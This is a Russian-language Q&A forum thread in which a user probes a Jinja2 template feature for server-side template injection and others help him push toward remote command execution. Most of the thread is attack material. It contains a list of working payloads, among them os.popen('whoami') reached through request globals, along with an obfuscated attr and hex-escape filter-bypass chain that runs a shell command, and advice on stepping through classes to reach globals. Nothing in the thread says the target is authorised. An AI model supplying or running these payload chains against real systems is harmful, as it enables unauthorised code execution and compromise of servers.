Всем привет! Есть функционал отправки запроса на внешний ресурс, в

Question

Всем привет! Есть функционал отправки запроса на внешний ресурс, в

котором доступна поддержка шаблонов jinja2. Пробую покрутить SSTI, но пока попытки не увенчались успехом. Одна часть запросов возвращается в виде строки, другая - ломает бэкэнд и не отстукивает обратно. Краткий срез по тестам:

{{7*7}} -> 49
{{7*'7'}} -> 7777777
{{config.items()}} -> {{config.items()}} (возвращает строку)
{{self.__dict__}} -> возвращает пустое значение
{{get_flashed_messages}} -> возвращает пустое значение
{{self}} -> <TemplateReference None>
{{[].class.base.subclasses()}} -> {{[].class.base.subclasses()}} (строка)
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}} -> {{request.application.globals.builtins.import('os').popen('whoami').read()}}
{{lipsum.__globals__["__builtins__"].eval("<python code>")}} -> ошибка на бэке

Собсна вопрос, есть ли шанс что-то выжать из этого или что можно еще попробовать?

#html #programming #russian

0

17.05.2023

14 ответов

15 просмотров

Ilya Автор вопроса

Alex Shev
и что тут выжимать это Rce уже

Даже whoami не выполняется, какой же RCE

0

17.05.2023

Андрей Чернобров

Ошибка на бэке потому что где-то ошибка в твоём запросе. Пробуй поэтапно пройтись по запросу который отдает ошибку. С реквест апликашион и по шагам

0

17.05.2023

Ilya Автор вопроса

Андрей Чернобров
Ошибка на бэке потому что где-то ошибка в твоём за...

Я все равно не оч понимаю, почему {{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}} не выполняется, а возвращается просто обратно в виде строки в таком же виде

0

17.05.2023

Security Inquisitor Bannykh

Ilya
Я все равно не оч понимаю, почему {{request.applic...

попробуй с кавычками поиграть в пэйлоаде

0

17.05.2023

.

Ilya
Я все равно не оч понимаю, почему {{request.applic...

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%} пробуй

0

17.05.2023

Андрей Чернобров

Ilya
Я все равно не оч понимаю, почему {{request.applic...

Потому что могли отстроить так. Просто из любопытства вопрос: - А ты просто пихаешь нагрузку из словаря или поэтапно двигаешься по классам ?

0

17.05.2023

Ilya Автор вопроса

.
{%with a=request|attr("application")|attr("\x5f\x5...

Отдает обратно строкой

0

17.05.2023

Alex

Ilya
Я все равно не оч понимаю, почему {{request.applic...

Может sandbox включён?

0

17.05.2023

Ilya Автор вопроса

Андрей Чернобров
Потому что могли отстроить так. Просто из любопытс...

Я двигался примерно как описал выше по срезу. Потом попробовал нагрузки из всяких разных ресурсов

0

17.05.2023

Андрей Чернобров

Ilya
Я двигался примерно как описал выше по срезу. Пото...

Попробуй для начала {{request._dict_}} {{request.application._dict_}} Если не чего не вернёт, значит ты не можешь обратиться к этому классу и нужно пробовать что-то другое.

0

17.05.2023

Ilya Автор вопроса

Андрей Чернобров
Попробуй для начала {{request._dict_}} {{request.a...

Пусто

0

17.05.2023

Андрей Чернобров

Ilya
Я двигался примерно как описал выше по срезу. Пото...

Тебе нужен класс к которому у тебя имеется доступ, например у тебя сработал self. Ещё можно от string Типо {{''._dict_.}} и собственно цель выйти на global Я сейчас всего не вспомню, нужно нырять в записи

0

17.05.2023

Ilya Автор вопроса

Андрей Чернобров
Тебе нужен класс к которому у тебя имеется доступ,...

Понял, пойду пробовать, спасибо за помощь

0

17.05.2023